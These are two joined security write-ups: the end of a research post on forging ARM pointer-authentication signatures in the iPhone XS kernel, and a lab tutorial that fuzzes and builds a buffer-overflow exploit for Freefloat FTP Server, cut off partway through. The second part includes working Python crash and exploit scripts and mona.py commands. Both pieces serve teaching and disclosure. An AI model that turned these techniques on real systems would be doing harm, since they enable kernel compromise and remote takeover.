... else if ((PAC<54:bottom_PAC_bit> == ptr<54:bottom_PAC_bit>) && (PAC<63:56> == ptr<63:56>)) then result = original_ptr; else error_code = keynumber:NOT(keynumber); result = original_ptr<63>:error_code:original_ptr<60:0>; return result; Meanwhile, when PACIZA is adding a PAC to a pointer, it actually signs the pointer with corrected extension bits, and then corrupts the PAC if the extension bits were originally invalid. From the pseudocode for AddPAC() above: ext_ptr = extfield<(64-bottom_PAC_bit)-1:0>:ptr<bottom_PAC_bit-1:0>; PAC = ComputePAC(ext_ptr, modifier, K<127:64>, K<63:0>); // Check if the ptr has good extension bits and corrupt the pointer // authentication code if not; if !IsZero(ptr<top_bit:bottom_PAC_bit>) && !IsOnes(ptr<top_bit:bottom_PAC_bit>) then PAC<top_bit-1> = NOT(PAC<top_bit-1>); Critically, PAC* instructions will corrupt the PAC of a pointer with invalid extension bits by flipping a single bit of the PAC. While this will certainly invalidate the PAC, this also means that the true PAC can be reconstructed if we can read out the value of a PAC*-forgery on a pointer produced by an AUT* instruction! So sequences like the one above that consist of an AUTIA followed by a PACIZA can be used as signing gadgets even if we don't have a validly signed pointer to begin with: we just have to flip a single bit in the forged PAC. A complete A-key forgery strategy for 16C50 With the existence of a single PACIZA signing gadget, we can begin our construction of a complete forgery strategy for the A keys on A12 devices running build 16C50. Stage 1: PACIZA-forgery A bit of sleuthing reveals that the gadget we found is part of the function sysctl_unregister_oid(), which is responsible for unregistering a sysctl_oid struct from the global sysctl tree. (Once again, this function does not have any PAC-related code in the public sources, but these operations are present on PAC-enabled devices.) Here's a listing of the relevant parts of this function from IDA: void sysctl_unregister_oid(sysctl_oid *oidp) { sysctl_oid *removed_oidp = NULL; sysctl_oid *old_oidp = NULL; BOOL have_old_oidp; void **handler_field; void *handler; uint64_t context; ... if ( !(oidp->oid_kind & 0x400000) ) // Don't enter this if { ... } if ( oidp->oid_version != 1 ) // Don't enter this if { ... } sysctl_oid *first_sibling = oidp->oid_parent->first; if ( first_sibling == oidp ) // Enter this if { removed_oidp = NULL; old_oidp = oidp; oidp->oid_parent->first = old_oidp->oid_link; have_old_oidp = 1; } else { ... } handler_field = &old_oidp->oid_handler; handler = old_oidp->oid_handler; if ( removed_oidp || !handler ) // Take the else { ... } else { removed_oidp = NULL; context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF); *handler_field = ptrauth_sign_unauthenticated( ptrauth_auth_function(handler, ptrauth_key_asia, &context), ptrauth_key_asia, 0); ... } ... } If we can get this function called with a crafted sysctl_oid that causes the indicated path to be taken, we should be able to forge arbitrary PACIZA pointers. There aren't any existing global PACIZA'd pointers to this function, so we can't call it directly using our iokit_user_client_trap() primitive, but as luck would have it, there are several global PACIZA'd function pointers that themselves call into it. This is because several kernel extensions register sysctls that they need to unregister before they're unloaded; these kexts often have a module termination function that calls sysctl_unregister_oid(), and the kmod_info struct describing the kext contains a PACIZA'd pointer to the module termination function. The best candidate I could find was l2tp_domain_module_stop(), which is part of the com.apple.nke.lttp kext. This function will perform some deinitialization work before calling sysctl_unregister_oid() on the global sysctl__net_ppp_l2tp object. Thus, we can PACIZA-sign an arbitrary pointer by overwriting the contents of sysctl__net_ppp_l2tp, calling l2tp_domain_module_stop() via the existing global PACIZA'd pointer, and then reading out sysctl__net_ppp_l2tp's oid_handler field and flipping bit 62. Stage 2: PACIA/PACDA forgery While this lets us PACIZA-forge any pointer we want, it'd be nice to be able to perform PACIA/PACDA forgeries as well, since then we could implement the full bypass described in the section "Finding an entry point for kernel code execution". To do that, I next looked into whether our PACIZA primitive could turn any of the PACIA instructions in the kernelcache into viable signing gadgets. The most likely candidate for both PACIA and PACDA was an unknown function sub_FFFFFFF007B66C48, which contains the following instruction sequence: MRS X9, #4, c15, c0, #4 ; S3_4_C15_C0_4 AND X9, X9, #0xFFFFFFFFFFFFFFFB MSR #4, c15, c0, #4, X9 ; S3_4_C15_C0_4 ISB LDR X9, [X2,#0x100] CBZ X9, loc_FFFFFFF007B66D24 MOV W10, #0x7481 PACIA X9, X10 STR X9, [X2,#0x100] ... LDR X9, [X2,#0xF8] CBZ X9, loc_FFFFFFF007B66D54 MOV W10, #0xCBED PACDA X9, X10 STR X9, [X2,#0xF8] ... MRS X9, #4, c15, c0, #4 ; S3_4_C15_C0_4 ORR X9, X9, #4 MSR #4, c15, c0, #4, X9 ; S3_4_C15_C0_4 ISB ... PACIBSP STP X20, X19, [SP,#var_20]! ... ;; Function body (mostly harmless) LDP X20, X19, [SP+0x20+var_20],#0x20 AUTIBSP MOV W0, #0 RET What makes sub_FFFFFFF007B66C48 a good candidate is that the PACIA/PACDA instructions occur before the stack frame is set up. Ordinarily, calling into the middle of a function will cause problems when the function returns, since the function's epilogue will tear down a frame that was never set up. But since this function's stack frame is set up after our desired entry points, we can use our kernel call primitive to jump directly to these instructions without causing any problems. Of course, we still have another issue: the PACIA and PACDA instructions use registers X9 and X10, while our kernel call primitive based on iokit_user_client_trap() only gives us control of registers X1 through X6. We'll need to figure out how to get the values we want into the appropriate registers. In fact, we already found a solution to this very problem earlier: JOP gadgets. Searching through the kernelcache, just three kexts seem to hold the vast majority of non-PAC'd indirect branches: FairPlayIOKit, LSKDIOKit, and LSKDIOKitMSE. These kexts even stand out in IDA's navigator bar as islands of red in a sea of blue, since IDA cannot create functions out of many of the instructions in these kexts: It seems that these kexts use some sort of obfuscation to hide control flow and make reverse engineering more difficult. Many jumps in this code are performed indirectly through registers. Unfortunately, in this case the obfuscation actually makes our job as attackers easier, since it gives us a plethora of useful JOP gadgets not protected by PAC. For our specific use case, we have control of PC and X1 through X6, and we're trying to set X2 to some writable memory region, X9 to the pointer we want to sign, and X10 to the signing context, before jumping to the signing gadget. I eventually settled on executing the following JOP program to accomplish this: X1 = MOV_X10_X3__BR_X6 X2 = KERNEL_BUFFER X3 = CONTEXT X4 = POINTER X5 = MOV_X9_X0__BR_X1 X6 = PACIA_X9_X10__STR_X9_X2_100 MOV X0, X4 BR X5 MOV X9, X0 BR X1 MOV X10, X3 BR X6 PACIA X9, X10 STR X9, [X2,#0x100] ... And with that, we now have a complete bypass strategy that allows us to forge arbitrary PAC signatures using the A keys. Timeline After sharing my original kernel read/write exploit on December 18, 2018, I reported the proof-of-concept PAC bypass built on top of voucher_swap on December 30. This POC could produce arbitrary A-key PAC forgeries and call arbitrary kernel functions with 7 arguments, just like on non-PAC devices. Apple quickly responded suggesting that the latest iOS 12.1.3 beta, build 16D5032a, should mitigate the issue. As this build also fixed the voucher_swap bug, I couldn't test this directly, but I did inspect the kernelcache manually and found that Apple had mitigated the sysctl_unregister_oid() gadget used to produce the first PACIZA forgery. This build was released on December 19, near the beginning of my research into PAC and long before I reported the bypass to Apple. Thus, like the case with the voucher_swap bug, I suspect that another researcher found and reported this issue first. Apple's fix In order to fix the sysctl_unregister_oid() gadget (and other AUTIA-PACIA gadgets), Apple has added a few instructions to ensure that if the AUTIA fails, then the resulting invalid pointer will be used instead of the result of PACIZA: LDR X10, [X9,#0x30]! ;; X10 = old_oidp->oid_handler CBNZ X19, loc_FFFFFFF007EBD4A0 CBZ X10, loc_FFFFFFF007EBD4A0 MOV X19, #0 MOV X11, X9 ;; X11 = &old_oidp->oid_handler MOVK X11, #0x14EF,LSL#48 ;; X11 = 14EF`&oid_handler MOV X12, X10 ;; X12 = oid_handler AUTIA X12, X11 ;; X12 = AUTIA(handler, 14EF`&handler) XPACI X10 ;; X10 = XPAC(handler) CMP X12, X10 PACIZA X10 ;; X10 = PACIZA(XPAC(handler)) CSEL X10, X10, X12, EQ ;; X10 = (PAC_valid ? PACIZA : AUTIA) STR X10, [X9] With this change, we can no longer PACIZA-forge a pointer unless we already have a PACIA forgery with a specific context. Brute-force strategies While this does mitigate the fast, straightforward strategy outlined above, with enough time it is still susceptible to brute forcing. Now, I couldn't test this explicitly without an exploit for iOS 12.1.3, but I was able to simulate how long it might take using my exploit on iOS 12.1.2. The problem is that even though we don't have an existing PACIA-forgery for the pointer we want to PACIZA-forge, we can use our kernel call primitive to execute this gadget repeatedly with different guesses for the valid PAC. Unlike most other instances in which authenticated pointers are used, guessing incorrectly here won't actually trigger a panic: we can just read out the result to see whether we guessed correctly (in which case the oid_handler field will have a PAC added) or incorrectly (in which case oid_handler will look like the result of a failed AUTIA). Looking back at the list of PAC'd pointers generated in my very first experiment in the subsection "Observing runtime behavior", I compared the extension bits of all the pointers to determine that the PAC was masked into the bits 0xff7fff8000000000. This means the A12 is using a 24-bit PAC, or about 16 million possibilities. In my experiments, I found that invoking l2tp_domain_module_stop() and l2tp_domain_module_start() 256 times took about 13.2 milliseconds. Thus, exhaustively checking all 16 million possible PACs should take around 15 minutes. And unless there were other changes I didn't notice, once a single PACIZA forgery is produced, the rest of the A-key bypass strategy should still be possible. (Initializing/deinitializing the module more than about 4096 times started to produce noticeable slowdowns; I didn't identify the source of this slowness, but I do suspect that with effort it should be possible to work around it.) Conclusion In this post we put Apple's implementation of Pointer Authentication on the A12 SoC used in the iPhone XS under the microscope, describing observed behavior, theorizing about how deviations from the ARM reference might be implemented under the hood, and analyzing the system for weaknesses that would allow a kernel attacker with read/write capabilities to forge PACs for arbitrary pointers. This analysis culminated with a complete bypass strategy and proof-of-concept implementation that allows the attacker to perform arbitrary A-key forgeries on an iPhone XS running iOS 12.1.2. Such a bypass is sufficient for achieving arbitrary kernel code execution through JOP. This strategy was partially mitigated with the release of iOS 12.1.3 beta 16D5032a, although there are indications that it might still be possible to bypass the mitigation via a brute-force approach. Despite these flaws, PAC remains a solid and worthwhile mitigation. Apple's hardening of PAC in the A12 SoC, which was clearly designed to protect against kernel attackers with read/write, meant that I did not find a systematic break in the design and had to rely on signing gadgets, which are easy to patch via software. As with any complex new mitigation, loopholes are not uncommon in the first few iterations. However, given the fragility of the current bypass technique (relying on, among other things, the single IOUserClient class that allows us to overwrite its IOExternalTrap, one of a very small number of usable PACIZA gadgets, and a handful of non-PAC'd JOP gadgets introduced by obfuscation), I believe it's possible for Apple to harden their implementation to the point that strong forgery bypasses become rare. Furthermore, PAC shows promise as a tool to make data-only kernel attacks trickier and less powerful. For example, I could see Apple adding something akin to a __security_critical attribute that enables PAC for C pointers that are especially prone to being hijacked during exploits, such as ipc_port's ip_kobject field. Such a mitigation wouldn't end any bug classes, since sophisticated attackers could find other ways of leveraging vulnerabilities into kernel read/write primitives, but it would raise the bar and make simple exploit strategies like those used in voucher_swap much harder (and hopefully less reliable) to pull off. Posted by Ben at 11:25 AM Sursa: https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html

Introduction to Network Protocol Fuzzing & Buffer Overflow Exploitation Jan 29, 2019 by Joey Lane Tags: Buffer Overflow / OSCP / OSCE / Fuzzing / Exploit Development / In this article we will introduce the fundamentals of discovering and exploiting buffer overflow vulnerabilities in Windows applications. If you have never written an exploit before, this may seem a bit intimidating at first. Perhaps you are pursuing your OSCP certification and have just been introduced to the concept of buffer overflow. I assure you this is not as difficult as it seems. If you dedicate a little bit of time to it, you can learn it! Software Requirements A virtualization platform (Virtualbox, VMware, etc.) A Windows XP, Vista, or 7 virtual machine (32-bit) A Kali Linux virtual machine (32-bit) Immunity Debugger (https://www.immunityinc.com/products/debugger/) Wireshark Python 2.7 Mona.py (https://github.com/corelan/mona) Metasploit Framework Freefloat FTP Server During this exercise we will walk through the process of discovering and exploiting a vulnerability in the Freefloat FTP Server application. We are going to use two virtual machines hosted on a private network to do this. We will be hosting the vulnerable application in a Windows XP virtual machine, and attacking from a Kali Linux virtual machine. In our Windows VM we will be using Immunity Debugger and ‘mona.py’ to closely examine the Freefloat FTP Server application. In our Kali Linux VM we will be working with Python, Wireshark, and Metasploit Framework to fuzz the FTP service and develop a working exploit. Concepts and Terminology Before we get started we need to cover some of the basic concepts and terminology we will be exploring. During this exercise you will see the words fuzzing, buffer overflow, assembly code, and shellcode used frequently. You do not need to be an expert in any of these concepts to follow along, however a basic understanding of each one is necessary to complete the exercise. Fuzzing Wikipedia – Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions such as crashes, failing built-in code assertions, or potential memory leaks. Typically, fuzzers are used to test programs that take structured inputs. This structure is specified, e.g., in a file format or protocol and distinguishes valid from invalid input. An effective fuzzer generates semi-valid inputs that are “valid enough” in that they are not directly rejected by the parser, but do create unexpected behaviors deeper in the program and are “invalid enough” to expose corner cases that have not been properly dealt with. Buffer Overflow Wikipedia – In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations. Buffers are areas of memory set aside to hold data, often while moving it from one section of a program to another, or between programs. Buffer overflows can often be triggered by malformed inputs; if one assumes all inputs will be smaller than a certain size and the buffer is created to be that size, then an anomalous transaction that produces more data could cause it to write past the end of the buffer. If this overwrites adjacent data or executable code, this may result in erratic program behavior, including memory access errors, incorrect results, and crashes. Exploiting the behavior of a buffer overflow is a well-known security exploit. On many systems, the memory layout of a program, or the system as a whole, is well defined. By sending in data designed to cause a buffer overflow, it is possible to write into areas known to hold executable code and replace it with malicious code, or to selectively overwrite data pertaining to the program’s state, therefore causing behavior that was not intended by the original programmer. Buffers are widespread in operating system (OS) code, so it is possible to make attacks that perform privilege escalation and gain unlimited access to the computer’s resources. The famed Morris worm in 1988 used this as one of its attack techniques. Programming languages commonly associated with buffer overflows include C and C++, which provide no built-in protection against accessing or overwriting data in any part of memory and do not automatically check that data written to an array (the built-in buffer type) is within the boundaries of that array. Bounds checking can prevent buffer overflows, but requires additional code and processing time. Modern operating systems use a variety of techniques to combat malicious buffer overflows, notably by randomizing the layout of memory, or deliberately leaving space between buffers and looking for actions that write into those areas (“canaries”). Shellcode Wikipedia – In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called “shellcode” because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient. However, attempts at replacing the term have not gained wide acceptance. Shellcode is commonly written in machine code. Assembly Code Wikipedia – An assembly (or assembler) language, often abbreviated asm, is any low-level programming language in which there is a very strong correspondence between the program’s statements and the architecture’s machine code instructions. Each assembly language is specific to a particular computer architecture and operating system. In contrast, most high-level programming languages are generally portable across multiple architectures but require interpreting or compiling. Assembly language may also be called symbolic machine code. Understanding the Basics In depth coverage of assembly code is way out of scope for this article, however there are a few basic concepts you should be familiar with when tackling this exercise. Below is a quick overview of some common CPU registers that we will be working with: EIP – Register that contains the memory address of the next instruction to be executed by the program. EIP tells the CPU what to do next. ESP – Register pointing to the top of the stack at any time. EBP – Stays consistent throughout a function so that it can be used as a placeholder to keep track of local variables and parameters. EAX – “accumulator” normally used for arithmetic operations. EBX – Base Register. ECX – “counter” normally used to hold a loop index. EDX – Data Register. ESI/EDI – Used by memory transfer instructions. There are tons of tutorials online if you find you need more to follow along. If you want to take a dive into assembly, I highly recommend taking the course on Pentester Academy x86 Assembly Language and Shellcoding on Linux by Vivek Ramachandran. It is worth every penny. For now, we just need to understand that EIP is responsible for controlling program execution, and ESP is where we will be storing our shellcode during exploitation. Discovering the Vulnerability Lets fire up our two virtual machines and get started! To follow along, you will need to ensure that you have the following software installed in each VM. To make things easier to follow you may want to configure each machine to use the following IP addresses, however this is not required. You can simply adjust the IPs in the exercise as you go along if you’d like. Windows VM / IP Address: 172.16.183.129 Freefloat FTP Server Immunity Debugger mona.py Kali Linux VM / IP Address: 172.16.183.131 Wireshark Python 2.7 Metasploit Framework Network Protocol Fuzzing Lets assume that we know nothing at all about the application we are testing. How do we go about finding a vulnerability in a program that we know nothing about? We could try to find the source code online and review it, but what if the source code is not available? In that case we can result to fuzz testing the application. Lets start off by launching the Freefloat FTP Server in our Windows virtual machine as normal. We can already see that this is a very basic FTP server application. It lacks many of the configuration options that we would expect from an FTP service. This application will accept any username/password combination when logging in, as it is designed to be simple. We will be attacking the application across the network, so lets start off by simply connecting to the FTP server from our Kali Linux machine and taking a look at the network traffic. Launch Wireshark and start listening for traffic on the ‘eth0’ interface. To eliminate some unnecessary noise, we will apply ‘ip.addr == 172.16.183.129’ as a filter so that we only see traffic going to the Windows machine. We can authenticate with any credentials we like, but lets keep it simple by simply using the username ‘test’ and the password ‘test’. Now lets examine the traffic in Wireshark so that we can get an idea of how the FTP client talks to the remote FTP server. We will right click on the first line and select “Follow TCP Stream” in order to view the communication between the client and server. The text in blue was sent from the server to the client. The text in red was sent from the client to the server. As we can see, when we connected to the FTP server several commands were sent by our client to establish the connection. Based on the responses we got from the server, it did not appear to understand all of the commands that we sent. The commands it did not understand appear to have been handled gracefully, as we were still able to establish a connection. The following commands appear to be supported based on the information we have so far: USER PASS TYPE PWD CWD PASV PORT LIST At this point we could begin writing a script to fuzz each of these commands to see if we can find a vulnerability, however this is NOT a full list of all the commands supported by the FTP protocol. We could technically continue interacting with the FTP server to get an idea of what other commands are available, but this could take a long time. Instead we will save time by looking at the official RFC (Request for Comments) published for the FTP protocol. Reading the RFCs are very handy when testing network protocols, as they essentially act as a user manual for us to understand what each command does. This will not only help us better understand how the FTP protocol works, but it will save us time manually looking for commands to fuzz test. You can find the official RFC for FTP at the following link: FILE TRANSFER PROTOCOL (FTP) RFC – https://tools.ietf.org/html/rfc959 If we were doing a thorough security assessment of the Freefloat FTP Server application, we would want to fuzz every single command listed in the RFC. To save us some time here, we are going to focus on the REST command. From page 31 in the FTP RFC: RESTART (REST): The argument field represents the server marker at which file transfer is to be restarted. This command does not cause file transfer but skips over the file to the specified data checkpoint. This command shall be immediately followed by the appropriate FTP service command which shall cause file transfer to resume. Lets write a simple python script to connect to the FTP server and fuzz test the REST command. We’ll name this script ‘fuzz.py’: import sys from socket import * ip = "172.16.183.129" port = 21 buf = "\x41" * 1000 print "[+] Connecting..." s = socket(AF_INET,SOCK_STREAM) s.connect((ip,port)) s.recv(2000) s.send("USER test\r\n") s.recv(2000) s.send("PASS test\r\n") s.recv(2000) s.send("REST "+buf+"\r\n") s.close() print "[+] Done." If we break down the above script, we see that it will establish a connection to the FTP server, and then issue the USER command with the value ‘test\r\n’. The ‘\r\n’ piece is what submits the input to the server. Next it will issue the PASS command. Once it has authenticated to the server, it will issue the REST command and specify 1000 A’s as our input. This is likely not what the application expects to receive, so lets see if it gracefully handles our input or crashes. As we can see in our Windows VM, the application has crashed indicating that the program did not gracefully handle the input we supplied to the REST command. This means that we may be looking at a buffer overflow vulnerability in that command. It is important to note that not all application errors and crashes necessarily indicate a vulnerability. In order to determine if this particular bug can be exploited, we will want to explore the crash a little closer in Immunity Debugger. Determining if the bug is exploitable Lets launch Immunity Debugger and reopen the Freefloat FTP Server application. This will give us the ability to watch the flow of execution and determine if the bug we discovered is actually an exploitable vulnerability. At first glance this is a LOT of information to take it. Don’t worry, it will start to make more sense as we go through the exercise. Take note of the box on the upper right hand side. These are the CPU registers we were talking about at the beginning of this article. We will be focusing most of our attention here. The first thing we need to do is take a look at the EIP register. As discussed earlier, EIP contains the memory address for the next CPU instruction. What this means is that if we can overwrite the EIP value by overflowing the buffer allocated to the REST command, we have the ability to control what the program does next. At the moment, we see that EIP contains the value 004040C0. Lets see what happens when we fire our python fuzz script at it again. As we can see, EIP has now changed to 41414141. The number 41 is actually the hex value of the letter ‘A’ (reference). Essentially the EIP register now contains ‘AAAA’. Since EIP now points to an invalid memory address, the application crashes. We now know the cause of the crash we discovered earlier and to our delight, we have discovered that we can actually hijack the flow of execution by overwriting the value stored in the EIP register. This indicates that we have an exploitable buffer overflow vulnerability! Buffer Overflow Exploitation Alright now we’re going to get our hands dirty. Lets quickly recap what we have done so far: Discovered a bug in the REST command which causes the Freefloat FTP Server to crash. Developed a short script called ‘fuzz.py’ which crashes the application by supplying 1000 ‘A’s to the REST command. Determined that the bug we found is in fact an exploitable buffer overflow vulnerability. Now it is time to begin developing a functional exploit. The goal of this exploit will be to obtain an interactive shell on the Windows VM (our victim) from our Kali Linux VM (our attacking machine). This will allow us to compromise the remote host and take control of it. Installing mona.py One of the awesome features of Immunity Debugger is its ability to be extended with Python plugins. Before we go any further, we will want to install a plugin in called mona.py. This will help us out greatly with the tasks ahead. Simply drop the plugin into the PyCommands folder found inside the Immunity Debugger application folder. You can check if mona.py is working by typing ‘!mona’ in the command bar of Immunity Debugger. If everything works, the log window will show the help screen of mona.py. Next, we will configure mona.py to store data in a folder other than the default. The default location is the Immunity Debugger application folder. Instead we will create a folder at the path ‘C:\logs’ and have mona.py store its data there. Execute the following command in the Immunity Debugger command bar: !mona config -set workingfolder c:\logs\%p The command above tells mona.py to create a folder inside the folder ‘C:\logs’, with the name of the process being debugged. In this case it will create a subfolder called ‘FTPServer’ Now we are ready to begin crafting our exploit code. Building the exploit The process for developing our buffer overflow exploit can be summarized into six key tasks. Finding the offset on the buffer to the exact four bytes that overwrite EIP on the stack. Finding enough space in the memory to store our shellcode. Finding the value we must put in EIP to make the execution flow jump to our shellcode in memory. Finding any bad characters that may affect our exploit. Putting it all together. Generating our final payload. We will break down each of these tasks and walk through them step by step. Identifying the offset to EIP First we will need to find the offset in our buffer to the bytes that overwrite the EIP register value. This part of the exploit is critical, as it will allow us to hijack the flow of execution. We can do this by using the ‘pattern create’ feature in mona.py. This creates a unique cyclic pattern (example: Aa0Aa1Aa2Aa3Aa4) where every three-character substring is unique. By replacing the 1000 ‘A’s in our ‘fuzz.py’ script with this pattern, we can calculate the offset by determining which four bytes of the pattern are in EIP when the program crashes. To create a cyclic pattern 1000 bytes in length with mona.py, execute the following command in the Immunity Debugger command bar. !mona pc 1000 You should see the output below: The command created the file ‘C:\logs\FTPServer\pattern.txt’ with the cyclic pattern inside. We can now copy pattern into our existing ‘fuzz.py’ script. We will go ahead and rename this file to ‘exploit.py’ since we are passed the fuzzing stage at this point. Here is what the updated code looks like: import sys from socket import * ip = "172.16.183.129" port = 21 buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" print "[+] Connecting..." s = socket(AF_INET,SOCK_STREAM) s.connect((ip,port)) s.recv(2000) s.send("USER test\r\n") s.recv(2000) s.send("PASS test\r\n") s.recv(2000) s.send("REST "+buf+"\r\n") s.close() print "[+] Done." The next step is to reopen Freefloat FTP Server in Immunity Debugger and execute our script ‘exploit.py’. As expected, we can see that the process has crashed and Immunity Debugger shows an access violation. We need to examine EIP and take note of its value at the crash moment. As we can see the EIP register has been overwritten, this time with a unique 4 byte pattern. Its value at the time of the crash was ‘41326941’, which translates to the characters ‘A2iA’ (reference). If we look close enough at our ‘pattern.txt’ file, we would find this value somewhere inside the pattern we generated earlier. We need to determine the offset by examining the unique pattern and counting how many bytes lead up to ‘A2iA’. This will be our EIP offset. To make our life easier, mona.py offers the findmsp command which will give us the EIP offset, as well as some other very useful information. Execute the following command on the Immunity Debugger command bar: !mona findmsp You should see the output below: This command created a file at ‘C:\logs\FTPServer\findmsp.txt’ which contains some extremely useful information that we will use to develop our exploit: We can see that our EIP offset is 246 bytes. The next 4 bytes after this will overwrite the EIP register. Identifying where to put our shellcode So we now have control over Freefloat FTP Servers flow of execution, but we still need to find a place to store our shellcode. Our shellcode is the actual payload of the exploit, it is what will give us an interactive shell on the remote system. From the output of the ‘!mona findmsp’ command above, we can see that the offset to ESP is 258 bytes. The output also tells us that we have 742 bytes available in ESP to store data. We also notice that the ESP offset is relatively close to the EIP offset in our buffer. Lets do some simple math. If we subtract 246 bytes (EIP offset) from 258 bytes (ESP offset) we get 12 bytes. We will be writing 4 bytes into the EIP register so we will subtract 4 from 12 and get 8 bytes. We have just determined that the ESP offset is only 8 bytes behind our EIP overwrite. Why is this important? Because when we craft our exploit we can overwrite EIP with the address of a JMP ESP instruction, pad our buffer with just 8 more bytes, and then write our shellcode to ESP. If these two offsets were far apart from each other, or if we didn’t have sufficient space in ESP, this exploit could become a lot more complicated. For example, we may potentially run out of buffer room for our shellcode, or need to find another area in memory to place our shellcode. In this case, ESP looks like it would provide a very convenient place for us to store our shellcode. We will eventually try placing our shellcode in the ESP register at offset 258, but we’re not quite ready to do that yet. When we overwrite EIP, our objective will be to change the flow of execution to our shellcode stored in ESP. In order to do that, we will need to get the memory address of a CPU instruction that makes a jump to ESP. We will do this by locating a JMP ESP instruction, and overwriting EIP with the memory address of that instruction. Locating a JMP ESP instruction So we’ve successfully hijacked the application by overwriting EIP, and we think we’ve found a sufficient place in memory to store our shellcode. Next we need to find an existing CPU instruction in the program which will tell the CPU to execute our shellcode stored in ESP. To accomplish this we will locate a JMP ESP instruction in memory using Immunity Debugger and mona.py. In the Immunity Debugger command bar, execute the following command after restarting the Freefloat FTP Server application: !mona jmp -r ESP You should see the output below: The above command tells mona.py to search for a JMP ESP instruction inside the process binary and the DLLs loaded in memory at execution time. The result is stored in the file ‘C:\logs\FTPServer\jmp.txt’. Below is a partial screenshot of the output from that file: We will need to choose a JMP ESP instruction which does not have ASLR enabled, as we need the memory address to persist between restarts of the application. Thankfully in this case, the binary was not compiled with ASLR support. Therefore any of the JMP ESP instructions in this list should work fine for our exploit…almost…(more on that in the next section). We will overwrite EIP with the address of one of these instructions, and that should make the CPU jump to our shellcode. By this point we know just about everything we need to know about Freefloat FTP Server to complete our exploit. We are ready to start building our final payload which will give us a shell on the remote host. Unfortunately there is one more potential pitfall standing in our way. Bad characters! Identifying bad characters So we almost have everything we need to build our exploit. We know how to hijack the flow of execution, we know where to put our payload, and we know how to trick the CPU into executing our payload. Now we are finally ready to start building the payload! There is just one problem, the shellcode we want to use will likely contain one or more characters that the application interprets differently than we want it to. It’s also possible that the memory address for one of our JMP ESP instructions above may contain one of these characters. These are referred to as bad characters, which are essentially any unwanted characters that can break our shellcode. Unfortunately there is no universal set of bad characters. Depending on the application and the developer logic, there will be a different set of bad characters for every program that we encounter. Therefore, we will have to identify the bad characters in this specific application before generating our shellcode. An example of some common bad characters are: 00 (NULL) 0A (Line Feed \n) 0D (Carriage Return \r) FF (Form Feed \f) This part of the process can be a bit tedious and repetitive. We essentially need to overwrite EIP with garbage to crash the application, and then overflow the rest of the buffer with another pattern containing all the possible shellcode characters. Then we examine the stack at the time of crash, and find the first character which breaks the pattern. Once we have identified that character, we remove it from the pattern and repeat the process to find the next bad character. We do this over and over again until we have identified them all. Then we will attempt to generate functional shellcode that is encoded in such a way to exclude these bad characters. This process is made a little easier by using two awesome commands in mona.py, however it is still quite repetitive. Lets break down the task at hand before we examine the commands: We will create a byte array with all possible characters in hex form (0x00 to 0xff) and put them into our exploit. Launch Immunity Debugger and run Freefloat FTP Server. Execute the exploit. After the crash, we’ll examine the byte array in memory. If a byte has changed, it is a bad character. Remove the bad character from the array. Repeat the process until the byte array in memory is equal to the byte array being sent in the buffer. To create the byte array execute the following command in Immunity Debugger: !mona bytearray You should see the output below: The above command will generate two files. The first is ‘C:\logs\FTPServer\bytearray.txt’, which contains the array in text format to use in our exploit. The second is ‘C:\logs\FTPServer\bytearray.bin’, which will contain the exact representation of this byte array in memory. Lets modify our exploit to include the byte array: import sys from socket import * ip = "172.16.183.129" port = 21 bytearray = ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" 